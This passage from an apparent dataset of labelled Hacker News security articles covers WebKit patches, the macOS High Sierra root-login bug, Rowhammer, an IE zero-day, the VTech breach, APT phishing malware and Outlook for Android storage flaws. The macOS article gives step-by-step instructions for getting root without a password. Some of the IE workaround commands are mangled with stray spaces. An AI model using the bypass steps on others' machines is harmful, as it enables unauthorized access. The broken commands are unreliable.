CVE-2014-1330
CVE-2014-1331
CVE-2014-1333
CVE-2014-1334
CVE-2014-1335
CVE-2014-1336
CVE-2014-1337
CVE-2014-1338
CVE-2014-1339
CVE-2014-1341
CVE-2014-1342
CVE-2014-1343
CVE-2014-1344
CVE-2014-1731

Most of the vulnerabilities are found by the Apple together with a lot of help from Google Chrome Team of researchers.

This security issues have been attributed to various forms of memory corruption-related issues within the Safari's Webkit rendering engine and has been patched in the current Safari updates through improved memory handling.

Yet another security issue with Safari's WebKit is the handling of unicode characters in URLs. The issue has been addressed through improved encoding and decoding. If the critical security vulnerabilities remain unaddressable, it could allow a maliciously crafted URL to send out false postMessage anonymously to the recipient, thus controlling the receiver's origin check.

""A malicious site [could] send messages to a connected frame or window in a way that might circumvent the receiver's origin check,"" the site stated.

Apple is more concerned about the security of its users and protects its users' privacy, so it didn't disclosed or confirmed any of the security flaws until it thoroughly investigated and identified the vulnerabilities along with the release of necessary patches.
""For the protection of our customers, Apple does not disclose, discuss, or confirm security issues until a full investigation has occurred and any necessary patches or releases are available. To learn more about Apple Product Security, see the Apple Product Security website,"" reads the advisory.
The released patches are important to update and if not, could leave your system exposed to arbitrary code execution attacks, whereby giving the remote access of the system to an unauthorised third party. So, the users are advised to install the new updates via Mac OS X Software Update feature or manually download the installer from Apple Support website.

",Vulnerability
macOS High Sierra Bug Lets Anyone Gain Root Access Without a Password,https://thehackernews.com/2017/11/mac-os-password-hack.html,"If you own a Mac computer and run the latest version of Apple's operating system, macOS High Sierra, then you need to be extra careful with your computer.

A serious, yet stupid vulnerability has been discovered in macOS High Sierra that allows untrusted users to quickly gain unfettered administrative (or root) control on your Mac without any password or security check, potentially leaving your data at risk.

Discovered by developer Lemi Orhan Ergin on Tuesday, the vulnerability only requires anyone with physical access to the target macOS machine to enter ""root"" into the username field, leave the password blank, and hit the Enter a few times—and Voila!

In simple words, the flaw allows an unauthorized user that gets physical access on a target computer to immediately gain the highest level of access to the computer, known as ""root,"" without actually typing any password.

Needless to say, this blindingly easy Mac exploit really scary stuff.

This vulnerability is similar to one Apple patched last month, which affected encrypted volumes using APFS wherein the password hint section was showing the actual password of the user in the plain text.
Here's How to Login as Root User Without a Password

If you own a Mac and want to try this exploit, follow these steps from admin or guest account:


Open System Preferences on the machine.
Select Users & Groups.
Click the lock icon to make changes.
Enter ""root"" in the username field of a login window.
Move the cursor into the Password field and hit enter button there few times, leaving it blank.


With that (after a few tries in some cases) macOS High Sierra logs the unauthorized user in with root privileges, allowing the user to access your Mac as a ""superuser"" with permission to read and write to system files, including those in other macOS accounts as well.

This flaw can be exploited in several ways, depending on the setup of the targeted Mac. With full-disk encryption disabled, a rogue user can turn on a Mac that's entirely powered down and log in as root by doing the same trick.

At Mac's login screen, an untrusted user can also use the root trick to gain access to a Mac that has FileVault turned on to make unauthorized changes to the Mac System Preferences, like disabling FileVault.

All the untrusted user needs to do is click ""Other"" at the login screen, and then enter ""root"" again with no password.

However, it is impossible to exploit this vulnerability when a Mac machine is turned on, and the screen is protected with a password.

Ergin publicly contacted Apple Support to ask about the issue he discovered. Apple is reportedly working on a fix.
""We are working on a software update to address this issue. In the meantime, setting a root password prevents unauthorized access to your Mac. To enable the Root User and set a password, please follow the instructions here: https://support.apple.com/en-us/HT204012. If a Root User is already enabled, to ensure a blank password is not set, please follow the instructions from the 'Change the root password' section.""
Here's How to Temporarily Fix the macOS High Sierra Bug

Fortunately, the developer suggested a temporary fix for this issue which is as easy as its exploit.

To fix the vulnerability, you need to enable the root user with a password. Heres how to do that:

Open System Preferences and Select Users & Groups
Click on the lock icon and Enter your administrator name and password there
Click on ""Login Options"" and select ""Join"" at the bottom of the screen
Select ""Open Directory Utility""
Click on the lock icon to make changes and type your username and password there
Click ""Edit"" at the top of the menu bar
Select ""Enable Root User"" and set a password for the root user account

This password will prevent the account from being accessed with a blank password.

Just to be on the safer side, you can also disable Guest accounts on your Mac. for this, head on to System Preferences → Users & Groups, select Guest User after entering your admin password, and disable ""Allow guests to log in to this computer.""

",Vulnerability
Double nibble URI decoding XSS Vulnerability on EC Council website,https://thehackernews.com/2011/06/double-nibble-uri-decoding-xss.html,"Double nibble URI decoding XSS Vulnerability on EC Council website



What EC Council is ?
They offers certifications in certified ethical hacker ceh, Computer Security, network security, internet security program and computer forensics and penetration testing. Information Security, Ethical Hacking, Computer Forensics, Advanced Penetration Testing, Application Security, Disaster Recovery and other critical Information Security Topics and Security Courses.

XSS POC :

Link : Click Here


Submitted By : Nulled Byte

",Vulnerability
DRAM Rowhammer vulnerability Leads to Kernel Privilege Escalation,https://thehackernews.com/2015/03/dram-rowhammer-vulnerability.html,"Security researchers have find out ways to hijack the Intel-compatible PCs running Linux by exploiting the physical weaknesses in certain varieties of DDR DRAM (double data rate dynamic random-access memory) chips and gaining higher kernel privileges on the system.

The technique, dubbed ""rowhammer"", was outlined in a blog post published Monday by Google's Project Zero security initiative, a team of top security researchers dedicatedly identifies severe zero-day vulnerabilities in different software.

Rowhammer is a problem with recent generation DRAM chips in which repeatedly accessing a row of memory can cause ""bit flipping"" in an adjacent row which could allow anyone to change the value of contents stored in computer memory.

WHAT IS ROWHAMMER BUG
DDR memory is arranged in an array of rows and columns, which are assigned to various services, applications and OS resources in large blocks. In order to prevent each application from accessing the memory of other application, they are kept in a ""sandbox"" protection layer.

However, Sandbox protection can be bypassed using Bit flipping technique in which a malicious application needs to repeatedly access adjacent rows of memory in a tiny fraction of a second.

As a result, hammering two aggressor memory regions can disturb neighbouring locations, causing charge to leak into or out of neighbouring cells.
""With enough accesses, this can change a cell's value from 1 to 0 or vice versa. In other words, the selected zero area will be transferred to the victims, or vice versa."" researchers explained.
The Bit flipping technique was first presented in an experimental study paper published by Carnegie Mellon University, entitled, ""Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors.""

Bit flipping technique shouldn't be confused with Buffer overflow or use-after-free memory corruption techniques where an attacker funnels malicious shellcode into protected regions of victim's computer.


TWO WORKING EXPLOITS DEMONSTRATE THE FLAW
As we know, DRAM manufacturing scales down chip features to smaller physical dimensions. Latest Technology demands more memory capacity onto a chip, so it has become harder to prevent DRAM cells from interacting electrically with each other.

The Project Zero team has folded such bit flipping into an actual attack by demonstrating two proof-of-concept exploits that successfully take over control of many x86 computers running Linux and believes the same could be done with other operating systems as well.
First, Page table entries (PTEs) based exploit uses rowhammer induced bit flips to achieve kernel privileges on x86-64 Linux and hence, gain read-write access to entire of physical memory.
Second exploit demonstrates the exploitation of same vulnerability by escaping from the Native Client sandbox.
MITIGATION TECHNIQUES
Cyber Security experts also provided a way to mitigate kernel privilege escalation attack. Researchers changed Native Client to disallow the x86 CLFLUSH instruction that's required to make the first exploit works.

Whereas, preventing the Row Hammer exploit with the second proof-of-concept is a more difficult task to achieve on existing machines.

With the help of above exploits, the Project Zero team conducted tests on eight models of x86 notebook computers, built between 2010 and 2014, using five different vendors of DDR3 DRAM and five different CPU families. A large subset of these machines i.e. 15 out of 29 were found to be vulnerable.

The above attack doesn't work against the latest DDR4 silicon or DIMMs that contain ECC (error correcting code) capabilities.

Project Zero team is asking DRAM manufacturers, CPU makers, and BIOS creators to release details about the steps they've taken to mitigate rowhammer-like security issues on their products.

",Vulnerability
Microsoft Warns of Unpatched IE Browser Zero-Day That's Under Active Attacks,https://thehackernews.com/2020/01/internet-explorer-zero-day-attack.html,"Internet Explorer is dead, but not the mess it left behind.

Microsoft earlier today issued an emergency security advisory warning millions of Windows users of a new zero-day vulnerability in Internet Explorer (IE) browser that attackers are actively exploiting in the wild — and there is no patch yet available for it.

The vulnerability, tracked as CVE-2020-0674 and rated moderated, is a remote code execution issue that exists in the way the scripting engine handles objects in memory of Internet Explorer and triggers through JScript.dll library.

A remote attacker can execute arbitrary code on targeted computers and take full control over them just by convincing victims into opening a maliciously crafted web page on the vulnerable Microsoft browser.

""The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user,"" the advisory says.

""If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.""

Microsoft is aware of 'limited targeted attacks' in the wild and working on a fix, but until a patch is released, affected users have been provided with workarounds and mitigation to prevent their vulnerable systems from cyberattacks.

The affected web browsing software includes — Internet Explorer 9, Internet Explorer 10, and Internet Explorer 11 running on all versions of Windows 10, Windows 8.1, and the recently-discontinued Windows 7.

Workarounds: Defend Against Attacks Until A Patch Arrives

According to the advisory, preventing the loading of the JScript.dll library can manually block the exploitation of this vulnerability.

To restrict access to JScript.dll, run following commands on your Windows system with administrator privileges.

For 32-bit systems:
takeown / f% windir% \ system32 \ jscript.dll
cacls% windir% \ system32 \ jscript.dll / E / P everyone: N

For 64-bit systems:
takeown / f% windir% \ syswow64 \ jscript.dll
cacls% windir% \ syswow64 \ jscript.dll / E / P everyone: N
takeown / f% windir% \ system32 \ jscript.dll
cacls% windir% \ system32 \ jscript.dll / E / P everyone: N

When a patch update is available, users need to undo the workaround using the following commands:

For 32-bit systems:
cacls %windir%\system32\jscript.dll /E /R everyone

For 64-bit systems:
cacls %windir%\system32\jscript.dll /E /R everyone
cacls %windir%\syswow64\jscript.dll /E /R everyone

To be noted, some websites or features may break after disabling the vulnerable JScript.dll library that relies on this component, therefore, users should install updates as soon as they become available.
",Vulnerability
"Toymaker VTech Hack Exposes 4.8 Million Customers, including Photos of Children",https://thehackernews.com/2015/11/vtech-toymaker-hacking.html,"Earlier this month, a massive data breach at VTech – the maker of tablets and gadgets aimed at children – exposed the personal details of about 4.8 Million parents and photos of more than 200,000 Children.

If that was not bad enough…

…it turns out that the massive cyber attack against the toymaker company also left hundreds of thousands of snaps of parents and children, as well as a year worth of chat logs kept online in a way easily accessible to hackers.

VTech Data Breach

In a statement released Monday, the toymaker company VTech said the hacked database included victim's profile information including:
Customers' names
Email addresses
Passwords (One-way encrypted using MD5 hash that can be cracked in no time)
Secret questions and answers for password retrieval
IP addresses
Residential addresses
Download history
The database also included information on children including names, genders and date of births.

Also Read: Caution! Hackers Can Easily Hijack Popular Baby Monitors to Watch Your Kids.

However, the Hong Kong-based company noted the database didn't contain any credit card or personal identification information like social security numbers (SSNs) and driver license IDs.

Hack Leaks Photos and Chat Logs of Children & Parents

What's even more worrisome is that…

In addition to the above information, data from Kid Connect – a service VTech offered to let parents communicate with their kids – was also hacked. Kid Connect information included:
Pictures of Children and parents
Chat logs between parents and children

How did VTech Data Breach Happen?

The massive data breach actually occurred on Nov. 14 and impacted VTech's Learning Lodge app store database, which features learning game apps and other educational tools for kids to download on their VTech devices.

The kiddie toymaker company had alerted Learning Lodge customers of the recent hack, and had ""temporarily suspended"" the Learning Lodge site along with 13 of its associated websites as a precautionary measure, VTech said on its website Monday.

The hacker that discovered the data breach told Motherboard that he has no plans to misuse the leaked information he gathered.

However, now, when the information – including snaps and chat logs – is available online, it could be even harder for VTech to try to pretend that everything is all right.

VTech says it is still investigating the matter, and will look into new ways to strengthen its security. It also alerted customers of potential exposure, encouraging them to follow up with the company via email (vtechkids@vtechkids.com in the U.S.).

Experts Warn of More Cyber Attacks

Now that the massive database from VTech is available online, security experts are warning that hackers and cyber criminals are likely to use this information in order target similar IoT (Internet of Things) companies that handle customer data.

Also Read: How Drones Can Find and Hack Internet-of-Things Devices From the Sky

Breaches like VTech are not unusual, but since it involves services aimed at children that generally do not get much of the attention when it comes to the security of data.

Affected? How to Check and What to Do?

If you are a parent holding a Learning Lodge account, you are advised to check Have I Been Pwned? website, which compiles all the data from breaches and now includes users accounts stolen from VTech.

If you found your Learning Lodge account affected, you should:
Change your password immediately
Also, change your password retrieval information
You are also advised to change the passwords on any other online accounts for which you are using the same password as for Learning Lodge account.

",Data_Breaches
Israeli Defense computer hacked in Spear Phishing Attack,https://thehackernews.com/2014/01/israeli-defense-computer-hacked-in.html,"Hackers broke into an Israeli defense ministry computer via an email attachment tainted with malicious software.

Reuters reported Israeli Defense is the latest illustrious victim of the Spear Phishing Attack, and hackers penetrated into an Israeli defense ministry computer using a malicious email as a vector.

Aviv Raff, Chief Technology officer at Seculert, confirmed that an Email with a malicious attachment that looked like it had been sent by the country's Shin Bet Secret Security Service. The attackers have penetrated into the network of Israeli Defense accessing to 15 computers, one of them managed by the Israel's Civil Administration that monitors Palestinians in Israeli-occupied territory.

The Civil Administration is a unit of Israel's Defense Ministry that control the passage of goods between Israel and the West Bank and Gaza Strip. It is clear that the information contained in the infected system represents a precious target for someone that intend to examine what and who is authorized to pass through the territories contested by Israelis and Palestinians.

The office also manages entry permits to Palestinians who work in Israel, and this could be another motivation for the attack. The earliest evidence confirmed the attack was conducted by Palestinians hackers, because there are many similarities with a precedent attack against Israeli systems conduced more than a year ago from a server in the Hamas-ruled Gaza Strip.

Aviv Raff revealed that the 15 computers were controlled by the hackers for several days after the January 15, when the malicious email was sent with an attachment about ex-Israeli prime minister Ariel Sharon who had just died.

The message text anticipates the content of the attached .zip file that claims to contain reports and photos of the attack. According Trend Micro firm the initial target of that attack was the Israeli Customs agency. In fact the file attached to the email hides a known malware, the XtremeRat trojan, which was largely used in surveillance campaigns by many regimes such as Syrian government.

Guy Inbar, a spokesman for the Civil Administration said:
""We are not commenting on it, we don't respond to such reports,""
Let me add, These is not a sufficient proof, but we all know that how much complicated is the attribution for an attack in the cyberspace, and many political actors could be interested to fuel the crisis between the two populations.

Anyway security experts recognized the same hand behind the latest attack originated from a server in the US, the tactics adopted by hackers is identical and there are many similarities in the code used.

According to Securlet, the attackers have used ""Xtreme RAT"" for a cyber espionage campaign against Israeli institutions and law enforcement in Novemeber 2012, forcing the government to shut down Internet access for its police. This cause prohibiting the use of memory sticks and mobile storage to avoid the diffusion of the malicious agent.

If the news is confirmed, it is very concerning. Let's consider that the attack discovered could be just an initial part of a large operation targeting sub-contractors to hit Israel, because it is very common that hackers target subcontractors to hit big enterprises and government offices due to the poor level of security they often offer.

Securlert hasn't discovered what the hackers did after accessing to the system, it is not clear if the attackers have stolen some document or they have tried to manipulate some data.
""All we know is at least one computer at the Civil Administration was in control of the attackers; what they did we don't know."" said Raff said.
The incident is just the tip of the iceberg, has confirmed by media hacking activity in the Middle East is very intense, foreign governments and group of hacktivists like Anonymous have targeted the military, government offices, private companies and critical infrastructure.

",Malware
New malware found using Google Drive as its command-and-control server,https://thehackernews.com/2019/01/macro-malware-microsoft-office.html,"Since most security tools also keep an eye on the network traffic to detect malicious IP addresses, attackers are increasingly adopting infrastructure of legitimate services in their attacks to hide their malicious activities.

Cybersecurity researchers have now spotted a new malware attack campaign linked to the notorious DarkHydrus APT group that uses Google Drive as its command-and-control (C2) server.

DarkHydrus first came to light in August last year when the APT group was leveraging the open-source Phishery tool to carry out credential-harvesting campaign against government entities and educational institutions in the Middle East.

The latest malicious campaign conducted by the DarkHydrus APT group was also observed against targets in the Middle East, according to reports published by the 360 Threat Intelligence Center (360TIC) and Palo Alto Networks.

This time the advanced threat attackers are using a new variant of their backdoor Trojan, called RogueRobin, which infects victims' computers by tricking them into opening a Microsoft Excel document containing embedded VBA macros, instead of exploiting any Windows zero-day vulnerability.

Enabling the macro drops a malicious text (.txt) file in the temporary directory and then leverages the legitimate 'regsvr32.exe' application to run it, eventually installing the RogueRobin backdoor written in C# programming language on the compromised system.
According to Palo Alto researchers, RogueRobin includes many stealth functions to check whether it is executed in the sandbox environment, including checking for virtualized environments, low memory, processor counts, and common analysis tools running on the system. It also contains anti-debug code.

Like the original version, the new variant of RogueRobin also uses DNS tunneling—a technique of sending or retrieving data and commands through DNS query packets—to communicate with its command-and-control server.

However, researchers discovered that besides DNS tunneling, the malware has also been designed to use Google Drive APIs as an alternative channel to send data and receive commands from the hackers.
""RogueRobin uploads a file to the Google Drive account and continually checks the file's modification time to see if the actor has made any changes to it. The actor will first modify the file to include a unique identifier that the Trojan will use for future communications,"" Palo Alto researchers say.
The new malware campaign suggests that the APT hacking groups are shifting more towards abusing legitimate services for their command-and-control infrastructure to evade detection.

It should be noted that since VBA macros is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code.

The best way to protect yourself from such malware attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless properly verifying the source.
",Cyber_Attack
Gaza Cybergang Returns With New Attacks On Palestinian Authority,https://thehackernews.com/2018/07/gaza-palestin-hacker.html,"Security researchers from Check Point Threat Intelligence Team have discovered the comeback of an APT (advanced persistent threat) surveillance group targeting institutions across the Middle East, specifically the Palestinian Authority.

The attack, dubbed ""Big Bang,"" begins with a phishing email sent to targeted victims that includes an attachment of a self-extracting archive containing two files—a Word document and a malicious executable.

Posing to be from the Palestinian Political and National Guidance Commission, the Word document serves as a decoy to distract victims while the malware is installed in the background.

The malicious executable, which runs in the background, act as the first stage info-stealer malware designed for intelligence gathering to identify potential victims (on the basis of what is unclear as of now), and then it accordingly downloads the second stage malware designed for espionage.
""While the analysis...discloses the capabilities of the spotted malware, we are pretty sure it is part of a multi-staged attack that targets very specific victims,"" the researchers said in a blog post. ""The malware below is part of the reconnaissance stage and should lead to the main course, whose nature is still unknown.""
The malware is capable of sending a lot of information from the infected machines to the attackers' Command and Control server, including screenshots of the infected computer, a list of documents with file extensions including .doc, .odt, .xls, .ppt, .pdf and more, and logging details about the system.

Besides this, the malware also includes a few more modules to execute any file it receives from the server, enumerate running processes, terminate a running process by name, as well as send a list of partitions found on the infected machine.

The malware also includes modules to self-destruct itself by deleting the payload from the startup folder and deleting the actual file, and reboot the infected system.
""After reviewing all the malware functionalities, we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile,"" the researchers say.
Researchers believe these attacks could be related to the Gaza Cybergang APT group, an Arabic-language, politically-motivated cybercriminal group, who are operating since 2012 and targeted oil and gas organization the Middle East North African region.

However, according to the researchers, it is still not yet confirmed exactly which threat group is behind this campaign.

",Malware
Widespread Email Scam Targets Github Developers with Dimnie Trojan,https://thehackernews.com/2017/03/github-email-scam.html,"Open source developers who use the popular code-sharing site GitHub were put on alert after the discovery of a phishing email campaign that attempts to infect their computers with an advanced malware trojan.

Dubbed Dimnie, the reconnaissance and espionage trojan has the ability to harvest credentials, download sensitive files, take screenshots, log keystrokes on 32-bit and 64-bit architectures, download additional malware on infected systems, and self-destruct when ordered to.

The malware has largely flown under the radar for the past three years – Thanks to its stealthy command and control methods.

The threat was discovered in the mid of January this year when it was targeting multiple owners of Github repositories via phishing emails, but cyber-security firm Palo Alto, who reported the campaign on Tuesday, says the attacks started a few weeks before.

Here's How the Attack Works:

The attack starts by spamming the email inboxes of active GitHub users with booby-trapped job offers. The messages used in this campaign attempt to trick the victims into running an attached malicious .doc file.

The doc file contains embedded macro code, which if allowed, executes a PowerShell command to download and install the Dimnie trojan – malware that can be controlled remotely, enabling attackers to hijack infected PCs and install additional malware.

Dimnie is not new; it first appeared in early 2014, but the use of stealthy command and control (C&C) methods in the new version of the Dimnie malware helped the threat remain unnoticed until this year.

Dimnie's Stealthy Features let it went Undetected for 3 Years

This new iteration has the ability to hide its malicious traffic under fake domains and DNS requests. To camouflage its connection, Dimnie uses HTTP Proxy requests that appear to be sent to Google-owned domains, but it's actually talking to an address controlled by the attackers, which has nothing to do with Google.

For more stealthiness, the malware encrypts all of its modules during transit, and once they are received and decrypted on the targeted computer, they are never written to or executed on its hard drive.

Instead, Dimnie injects them directly into the memory of core Windows processes, which then execute in the OS memory itself, without leaving its traces on the user's disks. This lets Dimnie operators inject their malicious module into the process of any legit application.
""The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous Dimnie targeting tactics. Multiple factors have contributed to Dimnie's relatively long-lived existence,"" Palo researchers concluded.
""By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders' assumptions about what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown.""
Since the malware hides its communications behind regular traffic and executes in the OS memory, Palo researchers unable to speculate the attackers behind the latest phishing email campaign or their exact motivations to target open-source developers.

However, gaining access to computers belonging to owners of private GitHub repositories gives attackers a way to access the source code of the application they manage for their organizations, which let the attackers gain access to the internal networks of various organizations.

",Malware
Your MacBook Camera could Spy on You without lighting up the warning light,https://thehackernews.com/2013/12/your-macbook-camera-could-spy-on-you.html,"If you own Apple's MacBook, you should cover up it's webcam, because there's a possibility someone could be watching you.

Like most webcams, the MacBook also has a tiny green light lets you know that the webcam is active, but it's possible for malware to disable this important privacy feature on older Mac computers (models released before 2008).
Matthew Brocker and Stephen Checkoway, students from Johns Hopkins University created a proof-of-concept app called ""iSeeYou"" that confirmed that MacBook iSight webcams can spy on their users without the warning light being activated.

A young man recently pleaded guilty in court to extortion after he performed a remote hack on Miss Teen USA's webcam to secretly collect nude photos. It was revealed through court papers that the FBI has the ability to do the same thing with a variety of current laptops including Apple products.

To make it possible, they created a modified version of the iSight firmware and then re-programmed the camera with it. In order to disable the LED, they activated STANDBY mode, but also configure the image sensor to ignore it successfully through their modified firmware.
The software used to remotely control iSight was Remote Administration Tool (RAT), which is used by IT departments and educational institutions to administer large numbers of computers.

This type of hack doesn't require the hacker to have physical possession of the laptop nor does it require administrator privileges.

The research focused on the MacBook and iMac computers released before 2008, but hackers could use the same techniques to compromise newer devices too.

Are you sure that your laptop's camera is not turned on? .. Now put a small piece of tape across the camera.

",Malware
Malaysian flight MH370 tragedy abused by Chinese hackers for Espionage attacks,https://thehackernews.com/2014/03/malaysian-flight-mh370-tragedy-abused.html,"The Mysterious Malaysian Airlines flight MH370, a Boeing 777-200 aircraft that has gone missing by the time it flew from Kuala Lumpur to Beijing. The Malaysian Prime Minister had also confirmed that the Malaysia Airlines plane had crashed in a remote part of the southern Indian Ocean.

Cyber Criminals are known to take advantage of major news stories or events where there is a high level of public interest and now Scammers are also targeting tragedy of MH370 to trap innocent Internet users.

Just a few days before we warned you about a Facebook malware campaign claimed that the missing Malaysian Airlines 'MH370 has been spotted in the Bermuda Triangle' with its passengers still alive and invites users to click a link to view breaking news video footage.

This week, Security researchers at FireEye have revealed about various ongoing spear phishing and malware attacks by some advanced persistent threat (APT) attackers.

According to the researchers, the Chinese hacking group called 'admin@338', specialized in cyber espionage attacks had sent multiple MH370-themed spear phishing emails to the government officials in Asia-Pacific, with an attachment referring to the missing Malaysian flight MH370.

The attachment file was actually merged with Poison Ivy RAT (remote access tool) and WinHTTPHelper malware to hijack the computer systems of government officials.

The Chinese Hacking Group also initiated another attack against the US based think tank on 14th March. A malicious attachment was dropped via spear phishing mails, contains ""Malaysian Airlines MH370 5m Video.exe"". The malicious attachment pretended to be a Flash video related to the missing plane and attached a 'Flash' icon to the executable file.

""In addition to the above activity attributed to the Admin@338 group, a number of other malicious documents abusing the missing Flight 370 story were also seen in the wild."" researchers said.

More technical details and various attacks are explained on Fireeye blog. If you receive an email or any message on social media websites claiming to have information or news on Malaysian Airlines Flight MH370 do not click on any links or attachments.

",Malware
Internet Explorer vulnerability exposed by Google Researcher used in targeted attacks,https://thehackernews.com/2013/07/Internet-Explorer-vulnerability-exploit-script.html,"Google and Microsoft are at each other's throats again. In a recent statement, Microsoft says hackers have been actively exploiting a vulnerability that was publicly disclosed by a Google researcher, Tavis Ormandy.

Microsoft addressed the vulnerability in its monthly ""Patch Tuesday"" package of fixes for July. Tavis Ormandy revealed the vulnerability in Windows 7 and 8 allows local users to obtain escalated privileges, making it easier for a hacker to compromise a system.

Ormandy has been criticized by Microsoft and some in the security community who subscribe to the practice that a vulnerability shouldn't be made public until a software maker has an opportunity to fix it. Ormandy said that Microsoft ""treat vulnerability researchers with great hostility"" and are ""often very difficult to work with"". He also advised researchers to use pseudonyms when dealing with the software giants.

In 2012, Tavis accused Sophos of ""poor development practices and coding standards"" after he uncovered some nasty flaws.

It is nowhere mentioned that whether the attempted attacks had been successful, or how widespread the attempts appeared to be. This month in Patch Tuesday, Seven bulletins were released by Microsoft yesterday, six of which were critical.

",Vulnerability
DHS Orders Federal Agencies to Patch Critical Flaws Within 15 Days,https://thehackernews.com/2019/05/dhs-patch-vulnerabilities.html,"In recent years, we have seen how hackers prey on those too lazy or ignorant to install security patches, which, if applied on time, would have prevented some devastating cyber attacks and data breaches that happened in major organisations.

The United States Department of Homeland Security (DHS) has ordered government agencies to more swiftly plug the critical security vulnerabilities found on their networks within 15 calendar days since the initial detection, a reduction from 30 days.

DHS's Cybersecurity and Infrastructure Security Agency (CISA) this week issued a new Binding Operational Directive (BOD) 19-02 instructing federal agencies and departments to address ""critical"" rated vulnerabilities within 15 days and ""high"" severity flaws within 30 days of initial detection.

The countdown to patch a security vulnerability will start when it was initially detected during CISA's weekly Cyber Hygiene vulnerability scanning, rather than it was the first report to the affected agencies.

""As federal agencies continue to expand their Internet presence through increased deployment of Internet-accessible systems, and operate interconnected and complex systems, it is more critical than ever for federal agencies to rapidly remediate vulnerabilities that otherwise could allow malicious actors to compromise federal networks through exploitable, externally-facing systems,"" reads the memo from CISA Director Chris Krebs.

""Recent reports from government and industry partners indicate that the average time between discovery and exploitation of a vulnerability is decreasing as today's adversaries are more skilled, persistent, and able to exploit known vulnerabilities.""

Therefore, to minimize the risk of unauthorized access to any federal information internal system and reduce the overall attack surface, the CISA wants government agencies to review and remediate critical vulnerabilities on Internet-facing systems before hackers and cybercriminals exploit them.

The recently created CISA agency provides regular reports to the federal agencies on Cyber Hygiene scanning results and current status, informing them of the detected vulnerabilities, classified based on their CVSSv2 score.

Agencies who do not complete their remediation within the allotted time period, CISA will send an additional reminder to agencies, asking them to submit the complete remediation plan within three working days to CISA.

BOD 19-02 replaces BOD 15-01—Critical Vulnerability Mitigation Requirement for Federal Civilian Executive Branch Departments and Agencies' Internet-Accessible Systems (May 21, 2015)—which gave federal agencies 30 days to patch critical vulnerabilities.

This is the second BOD that CISA has released this year. Following a series of DNS hijacking incidents, the agency issued an ""emergency directive"" earlier this year, ordering federal agencies to audit DNS records for their respective website domains and other agency-managed domains within 10 days.

",Vulnerability
Microsoft Outlook App for Android Devices Stores Emails Unencrypted on File System,https://thehackernews.com/2014/05/microsoft-outlook-app-for-android.html,"If you have an account with Microsoft's popular free email service Outlook.com, and using Outlook app for Android, then there is a bad news for you.

Microsoft's Android app for Outlook.com, provides users to access their Outlook emails on their Android devices, fails to provide security and encryption.

LOOPHOLES DISCOVERED
Researchers from 'Include Security' firm claims to have found multiple vulnerabilities in Microsoft's Outlook app for Android, that leaves users' email data vulnerable to hackers and other malicious third party apps.
By default, Email attachments are stored into easily accessible folders on the Android filesystem
Email Database (Body, Subject) is stored locally in an unencrypted manner
App's 'Pin Code' feature doesn't protect or encrypt email data.
EMAIL ATTACHMENTS ARE ACCESSIBLE TO ANY OTHER APPS
Today almost every applications available at Google Play Store generally ask for READ_EXTERNAL_STORAGE permission that allows them to read the data from device storage, even if the phone is not rooted.
""READ_EXTERNAL_STORAGE and INTERNET are some of the most common permissions granted by users to applications upon installation."" Erik Cabetas, managing director of Include Security said.
Include Security firm found the Outlook app for Android downloads the email attachments automatically to '/sdcard/attachments' folder on the file system, which could be accessed by any malicious application or person with the physical access to the user's device. ""Phones nowadays come with preinstalled apps on them that could grab those emails."" he added.

UNENCRYPTED EMAIL DATABASE
Outlook app maintains a local backup database of your emails on the device file system at ""/data/data/com.outlook.Z7/"" location, which could be accessed only if the device is rooted and for non-rooted Android devices, Android Debug Bridge (adb) tool can extract it.
""We've found that many messaging applications (stored email or IM/chat apps) store their messages in a way that make it easy for rogue apps or 3rd parties with physical access to the mobile device to obtain access to the messages."" he said.
In this folder, the app stores a database file called 'email.db', which keeps a backup of your every email, but in an unencrypted form i.e. once an attacker able to grab this file, he can access all of your emails and sensitive data in plain text using sqlite3 utility.
As shown in the above image, they able to access the email.db file and connect to the unencrypted database file to read the email content and the resultant file which is shown as below:

Earlier we reported, windows malware are now capable of hacking Android devices connect to it and can extract any file from the Android file system, even if the device is non-rooted.

PINCODE CAN'T PROTECT YOU
Microsoft implemented a unique protection mechanism in its Outlook app that nobody else provides, is its PINCODE feature (application lock), which intents to add an extra protection in case your device gets in the wrong hands.

But unfortunately this feature also fails to protect users' data from the above listed two flaws, because it only locks the Graphical User Interface of the app, and does nothing to ensure the confidentiality of messages and attachments, which are themselves stored on the filesystem of the mobile device.
""If a device is stolen or compromised, a 3rd party may try to obtain access to locally cached messages (in this case emails and attachments),"" said Erik Cabetas, managing director of Include Security in the blog post.
MICROSOFT REFUSES TO PATCH IT
The only place where Microsoft lacked is Encryption. Researchers contacted Microsoft's Security Response Center in December 2013 about the security weakness in the Outlook app, but Microsoft refuses to patch the vulnerabilities and their reply was, ""...users should not assume data is encrypted by default in any application or operating system unless an explicit promise to that effect has been made,"" Microsoft said.

Erik from Include Security suggests that Outlook for Android could use SQLcipher to encrypt the SQLite database, because this would be useful for older devices that do not support full disk encryption.

SURVEILLANCE COMPATIBLE
In response to the mass surveillance conducted by the US National Security Agency (NSA) where every service is switching towards deploying encryption across the Internet, one of the Internet's big giant, Microsoft failed.

Today we feel the need of highly secured Networks and Encrypted Devices to safeguard our privacy from Cyber Criminals and our own Government as well. So, Encryption becomes more important today than any other time in our history. Encryption of our online messages, encryption of our emails, encryption of our voice call, encryption of our every personal data and communication.

Android users are highly recommended to use full disk encryption for Android and SD card file systems, and turn off the USB debugging mode from Developer Options Settings.

Yesterday, in a separate news we reported about a critical zero-day vulnerability (CVE-2014-1770) in 'Internet Explorer 8' that Microsoft had kept hidden from all of us, since October 2013.

UPDATE
